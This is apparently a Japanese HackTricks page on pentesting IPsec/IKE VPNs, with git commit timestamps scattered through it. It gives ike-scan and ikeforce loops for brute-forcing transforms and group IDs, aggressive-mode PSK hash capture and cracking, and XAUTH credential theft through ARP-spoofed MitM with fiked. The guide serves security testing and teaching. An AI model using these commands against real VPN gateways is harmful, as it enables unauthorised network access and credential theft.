hacktricks/network-services-pentesting/ipsec-ike-vpn-pentesting.md

263 lines
21 KiB
Markdown
Raw Normal View History

# 500/udp - IPsec/IKE VPNのペンテスト
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong>を使って学ぶ!</strong></summary>
2022-04-28 16:01:33 +00:00
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を手に入れる
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする。
- **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
2022-04-28 16:01:33 +00:00
</details>
2022-04-28 16:01:33 +00:00
## 基本情報
**IPsec**は、ネットワーク間LAN間やリモートユーザーからネットワークゲートウェイへの通信を保護するための主要な技術として広く認識されており、企業向けVPNソリューションのバックボーンとして機能しています。
2つのポイント間で**セキュリティアソシエーションSA**を確立するのは**IKE**が担当し、これは認証と鍵交換のために設計されたプロトコルであるISAKMPの下で動作します。このプロセスはいくつかのフェーズで展開されます
- **フェーズ1:** 2つのエンドポイント間に安全なチャネルが作成されます。これは、Pre-Shared KeyPSKまたは証明書を使用し、メインモード3つのメッセージのペアを含むまたは**アグレッシブモード**を使用します。
- **フェーズ1.5:** 必須ではありませんが、このフェーズは拡張認証フェーズとして知られ、接続を試みるユーザーの身元を確認するためにユーザー名とパスワードが必要です。
- **フェーズ2:** このフェーズは、**ESP**と**AH**を使用してデータを保護するためのパラメータを交渉することに専念しています。フェーズ1とは異なるアルゴリズムを使用して**完全転送秘匿PFS**を確保し、セキュリティを強化します。
**デフォルトポート:** 500/udp
## nmapを使用してサービスを**Discover**
```
root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
Nmap scan report for 172.16.21.200
Host is up (0.00036s latency).
PORT STATE SERVICE
500/udp open isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
```
## **有効な変換を見つける**
IPSecの構成は、1つまたは複数の変換を受け入れるように準備できます。変換は値の組み合わせです。**各変換**には、DESまたは3DESなどの**暗号化アルゴリズム**、SHAまたはMD5などの**整合性アルゴリズム**、事前共有キーなどの**認証タイプ**、Diffie-Hellman 1または2などの鍵**配布アルゴリズム**、および28800秒などの**寿命**が含まれます。
したがって、最初に行う必要があるのは、**有効な変換を見つける**ことです。これにより、サーバーがあなたと通信できるようになります。これを行うために、**ike-scan**ツールを使用できます。デフォルトでは、Ike-scanはメインモードで動作し、ISAKMPヘッダーと**8つの変換が含まれた1つの提案**を持つパケットをゲートウェイに送信します。
応答に応じて、エンドポイントに関する情報を取得できます。
```
root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200 Main Mode Handshake returned
2023-07-07 23:42:27 +00:00
HDR=(CKY-R=d90bf054d6b76401)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify
```
前の応答で見られるように、**AUTH**というフィールドがあり、その値は**PSK**です。これはVPNが事前共有キーを使用して構成されていることを意味しますこれはペンテスターにとって本当に良いことです
2023-07-07 23:42:27 +00:00
**最後の行の値も非常に重要です:**
* _0 returned handshake; 0 returned notify:_ これはターゲットが**IPsecゲートウェイではない**ことを意味します。
* _**1 returned handshake; 0 returned notify:**_ これは、**ターゲットがIPsecに構成され、IKEネゴシエーションを実行する意向があり、提案された変換のいずれかが受け入れ可能である**ことを意味します(有効な変換は出力に表示されます)。
* _0 returned handshake; 1 returned notify:_ VPNゲートウェイは、**受け入れ可能な変換がない場合に通知メッセージで応答**します(ただし、一部のゲートウェイは応答しない場合もあり、その場合はさらなる分析と改訂提案が必要です)。
したがって、この場合、すでに有効な変換がありますが、3番目の場合は、**有効な変換を見つけるために少しブルートフォースする必要があります:**
まず、すべての可能な変換を作成する必要があります:
```bash
for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done
```
その後、ike-scanを使用してそれぞれをブルートフォース攻撃しますこれには数分かかる場合があります:
```bash
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt
```
もし総当たり攻撃がうまくいかない場合、サーバーが有効な変換に対してもハンドシェイクなしで応答している可能性があります。その場合、同じ総当たり攻撃を行うが、アグレッシブモードを使用してみることができます。
```bash
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
```
Hopefully **有効な変換がエコーバックされます**。\
同じ攻撃を**iker.py**を使用して試すことができます。\
[**ikeforce**](https://github.com/SpiderLabs/ikeforce)を使用して変換を総当たりすることもできます。
```bash
./ikeforce.py <IP> # No parameters are required for scan -h for additional help
```
![](<../.gitbook/assets/image (109).png>)
**DH Group: 14 = 2048-bit MODP** および **15 = 3072-bit** である。**2 = HMAC-SHA = SHA1 (この場合)**。`--trans` フォーマットは $Enc,$Hash,$Auth,$DH である。
Cisco は、DH グループ 1 および 2 の使用を避けるよう指示している。これらは強力ではないため、**リソースが豊富な国々**は、これらの弱いグループを使用するデータの暗号化を簡単に解読できると専門家は考えている。これは、コードを迅速に解読するためにそれらを準備する特別な方法を使用することによって行われる。この方法を設定するのに多額の費用がかかるにもかかわらず、これらの強力な国々は、暗号化されたデータをリアルタイムで読むことができるようになる1,024 ビット以下のような強力でないグループを使用している場合)。
### サーバーのフィンガープリント
次に、デバイスの **ベンダー** を特定するために ike-scan を使用できる。このツールは初期提案を送信し、リプレイを停止する。その後、サーバーから受信したメッセージと一致する応答パターンとの **時間** の違いを **分析** することで、ペンテスターは VPN ゲートウェイのベンダーを正確にフィンガープリントできる。さらに、一部の VPN サーバーは IKE でオプションの **Vendor ID (VID) ペイロード** を使用する。
必要に応じて有効な変換を指定する(--trans を使用)
IKE がベンダーを特定した場合、それを表示するだろう:
```
root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200 Main Mode Handshake returned
2023-07-07 23:42:27 +00:00
HDR=(CKY-R=4f3ec84731e2214a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
IKE Backoff Patterns:
2023-07-07 23:42:27 +00:00
IP Address No. Recv time Delta Time
172.16.21.200 1 1322286031.744904 0.000000
172.16.21.200 2 1322286039.745081 8.000177
172.16.21.200 3 1322286047.745989 8.000908
172.16.21.200 4 1322286055.746972 8.000983
172.16.21.200 Implementation guess: Cisco VPN Concentrator
2023-07-07 23:42:27 +00:00
Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify
```
これはnmapスクリプト_**ike-version**_を使用しても達成できます。
## 正しいIDグループ名の検索
ハッシュをキャプチャするためには、アグレッシブモードをサポートし、正しいIDグループ名を持つ有効な変換が必要です。おそらく正しいグループ名を知らないため、総当たり攻撃を行う必要があります。\
そのために、2つの方法をお勧めします
### ike-scanを使用したIDの総当たり攻撃
まず、ハッシュを収集しようとして偽のIDでリクエストを行ってみてください"-P":
```bash
ike-scan -P -M -A -n fakeID <IP>
```
**ハッシュが返されない**場合、おそらくこのブルートフォースの方法が機能するでしょう。**ハッシュが返される場合、偽のIDに対して偽のハッシュが送信されるため、この方法はIDをブルートフォースするために信頼性がありません**。たとえば、偽のハッシュが返される可能性があります(これは最新バージョンで発生します):
![](<../.gitbook/assets/image (110).png>)
しかし、前述のようにハッシュが返されない場合は、ike-scanを使用して一般的なグループ名をブルートフォースしてみる必要があります。
このスクリプトは**可能なIDをブルートフォースし**、有効なハンドシェイクが返されるIDこれは有効なグループ名になりますを返します。
特定の変換を発見した場合は、ike-scanコマンドに追加してください。複数の変換を発見した場合は、すべてを試す新しいループを追加してください正常に機能するものが見つかるまですべてを試す必要があります
[ikeforceの辞書](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic)または[seclistsのもの](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt)を使用して、一般的なグループ名をブルートフォースすることができます。
```bash
2021-01-18 14:24:10 +00:00
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
```
### IDのBruteforce with Iker
[iker.py](https://github.com/isaudits/scripts/blob/master/iker.py)は**ike-scan**を使用して、可能なグループ名をBruteforceします。**ike-scan**の出力に基づいて、有効なIDを見つけるために独自の方法に従います。
### IDのBruteforce with ikeforce
[ikeforce.py](https://github.com/SpiderLabs/ikeforce)は、IDをBruteforceするために使用できるツールです。このツールは、**有効なIDと無効なIDを区別するために使用できるさまざまな脆弱性を悪用しようとします**偽陽性と偽陰性が発生する可能性があるため、可能な限りike-scanの方法を使用することを好みます
デフォルトでは、**ikeforce**は最初にいくつかのランダムなIDを送信して、サーバーの動作をチェックし、使用するタクティクを決定します。
* **最初の方法**は、Ciscoシステムの**Dead Peer Detection DPD**情報を**検索**して、グループ名をBruteforceすることですこの情報は、グループ名が正しい場合にのみサーバーによって再生されます
* 利用可能な**2番目の方法**は、各試行に送信される応答の数を**チェックする**ことです。正しいIDが使用されると、より多くのパケットが送信される場合があります。
* **3番目の方法**は、不正なIDに対する応答で**"INVALID-ID-INFORMATION"を検索**することです。
* 最後に、サーバーがチェックに対して何も応答しない場合、**ikeforce**はサーバーをBruteforceし、正しいIDが送信されるとサーバーがパケットで応答するかどうかをチェックします。\
明らかに、IDをBruteforceする目的は、有効なIDがある場合に**PSK**を取得することです。その後、**ID**と**PSK**を使用して、XAUTHをBruteforceする必要があります有効になっている場合
特定の変換を発見した場合は、ikeforceコマンドに追加してください。複数の変換を発見した場合は、それらすべてを試す新しいループを自由に追加してくださいうまく機能するまですべてを試す必要があります
```bash
git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
```
```bash
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic
```
### スニッフィングID
(書籍**ネットワークセキュリティアセスメント:ネットワークを知る**よりVPNクライアントとサーバー間の接続をスニッフィングすることで、クライアントIDを含む最初のアグレッシブモードパケットを平文で取得することが可能です。
![](<../.gitbook/assets/image (111).png>)
## ハッシュのキャプチャとクラック
最後に、**有効な変換**と**グループ名**が見つかり、**アグレッシブモードが許可されている**場合、簡単にクラック可能なハッシュを取得できます。
```bash
ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor
```
ハッシュは_hash.txt_内に保存されます。
**psk-crack**、**john**[**ikescan2john.py**](https://github.com/truongkma/ctf-tools/blob/master/John/run/ikescan2john.py)を使用)および**hashcat**を使用してハッシュを**クラック**することができます:
2021-01-18 14:26:55 +00:00
```bash
2022-01-12 14:33:12 +00:00
psk-crack -d <Wordlist_path> psk.txt
```
## **XAuth**
**アグレッシブモードIKE** は、**事前共有キーPSK** と組み合わせて、**グループ認証** の目的で一般的に使用されます。この方法は、**拡張認証XAuth** によって補完され、追加の **ユーザー認証** のレイヤーを導入します。このような認証は通常、**Microsoft Active Directory**、**RADIUS**、または類似のシステムを活用します。
**IKEv2** に移行すると、ユーザーの認証の目的で **XAuth** の代わりに **EAP拡張認証プロトコル** が使用されることがあります。この変更は、セキュアな通信プロトコル内での認証プラクティスの進化を示しています。
### ローカルネットワークのMitMによる資格情報のキャプチャ
したがって、_fiked_ を使用してログインデータをキャプチャし、デフォルトのユーザー名があるかどうかを確認できますIKEトラフィックをスニッフィングするために `fiked` にリダイレクトする必要があります。これはARPスプーフィングを使用して行うことができます、[詳細情報](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)。Fiked はVPNエンドポイントとして機能し、XAuthの資格情報をキャプチャします。
2021-01-18 14:26:55 +00:00
```bash
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
```
### XAUTHユーザー名とパスワードのブルートフォース攻撃ikeforceを使用
**XAUTH**(有効なグループ名**id**と**psk**がわかっている場合)をブルートフォースするには、ユーザー名またはユーザー名のリストとパスワードのリストを使用できます。
2021-01-18 14:26:55 +00:00
```bash
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
```
This way, ikeforce will try to connect using each combination of username:password.
If you found one or several valid transforms just use them like in the previous steps.
## IPSEC VPNでの認証
Kaliでは、IPsecトンネルを確立するために**VPNC**が利用されます。**プロファイル**は`/etc/vpnc/`ディレクトリに配置する必要があります。これらのプロファイルは、_**vpnc**_コマンドを使用して開始できます。
以下のコマンドと設定は、VPNCを使用してVPN接続を設定するプロセスを示しています
```bash
root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
IPSec gateway [VPN_GATEWAY_IP]
IPSec ID [VPN_CONNECTION_ID]
IPSec secret [VPN_GROUP_SECRET]
IKE Authmode psk
Xauth username [VPN_USERNAME]
Xauth password [VPN_PASSWORD]
STOP
root@system:~# vpnc samplevpn
VPNC started in background (pid: [PID])...
root@system:~# ifconfig tun0
```
```markdown
このセットアップでは:
- `[VPN_GATEWAY_IP]` を VPN ゲートウェイの実際の IP アドレスに置き換えます。
- `[VPN_CONNECTION_ID]` を VPN 接続の識別子に置き換えます。
- `[VPN_GROUP_SECRET]` を VPN のグループシークレットに置き換えます。
- `[VPN_USERNAME]``[VPN_PASSWORD]` を VPN 認証資格情報に置き換えます。
- `vpnc` が開始されると割り当てられるプロセス ID を `[PID]` が象徴しています。
VPN を構成する際には、プレースホルダーを実際で安全な値で置き換えることを確認してください。
## 参考資料
* [PSK cracking paper](http://www.ernw.de/download/pskattack.pdf)
* [SecurityFocus Infocus](http://www.securityfocus.com/infocus/1821)
* [Scanning a VPN Implementation](http://www.radarhack.com/dir/papers/Scanning\_ike\_with\_ikescan.pdf)
* Network Security Assessment 3rd Edition
## Shodan
2020-10-05 13:59:40 +00:00
* `port:500 IKE`
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks をサポートする他の方法:
2022-04-28 16:01:33 +00:00
* **HackTricks で企業を宣伝したい** または **HackTricks を PDF でダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
* **💬 [Discord グループ](https://discord.gg/hRep4RUj7f)** に参加するか、 [telegram グループ](https://t.me/peass) に参加するか、 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローする。
* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の GitHub リポジトリに PR を提出して、あなたのハッキングトリックを共有してください。
2022-04-28 16:01:33 +00:00
</details>
```